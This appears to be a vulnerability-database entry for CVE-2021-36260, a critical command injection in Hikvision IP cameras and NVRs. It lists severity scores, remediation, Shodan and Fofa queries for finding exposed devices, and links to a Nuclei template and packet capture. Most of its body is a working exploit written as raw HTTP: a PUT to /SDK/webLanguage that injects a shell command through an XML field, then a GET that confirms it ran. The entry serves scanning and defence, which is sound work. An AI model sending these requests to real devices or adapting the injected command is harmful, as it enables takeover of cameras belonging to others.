| Title | Hikvision IP camera/NVR - Remote Command Execution |
|---|---|
| Author | pdteam,gy741,johnk3r |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the affected device. |
| Remediation | Apply the latest firmware update provided by Hikvision to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94436 |
| CVE ID | CVE-2021-36260 |
| CWE ID | CWE-78 |
| Shodan Query | http.favicon.hash:999357577 |
| Fofa Query | icon_hash=999357577 |
| Tags | cve2021 cve hikvision rce iot intrusive kev vkev vuln |
Certain Hikvision products contain a command injection vulnerability in the web server due to the insufficient input validation. An attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands.
PUT /SDK/webLanguage HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Content-Length: 88
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip
<?xml version="1.0" encoding="UTF-8"?><language>$(echo oc92zfbod8pa>webLib/x)</language>
GET /x HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-36260.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-36260.pcap
N/AN/A